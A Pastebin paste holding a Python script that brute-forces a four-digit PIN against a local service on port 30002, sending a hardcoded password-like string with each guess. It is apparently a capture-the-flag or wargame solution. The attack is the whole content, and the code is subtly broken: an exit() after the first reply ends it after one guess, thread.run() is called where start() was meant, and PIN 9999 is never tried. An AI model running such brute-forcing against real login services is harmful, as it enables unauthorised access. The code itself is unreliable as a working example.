Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/python3
- import socket, queue, threading
- class brute(threading.Thread):
- def __init__(self, Queue):
- threading.Thread.__init__(self)
- self.Queue = Queue
- def run(self):
- while 1:
- try:
- pin = self.Queue.get(timeout=1)
- except queue.Empty:
- return
- print("Trying", pin)
- sock = socket.socket()
- sock.connect(("127.0.0.1", 30002))
- sock.send(("UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ {}\n".format(pin)).encode("utf-8"))
- ans = sock.recv(4096).decode("utf-8")
- print(ans)
- exit()
- if not "wrong" in ans.lower():
- print(ans)
- sock.close()
- self.Queue.task_done()
- Queue = queue.Queue()
- threads = []
- for i in range(9999):
- if i<1000:
- pin = "0"+str(i)
- if i<100:
- pin = "0"+pin
- if i<10:
- pin = "0"+pin
- Queue.put(pin)
- for i in range(75):
- thread = brute(Queue)
- thread.run()
- threads.append(thread)
- for i in threads:
- i.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement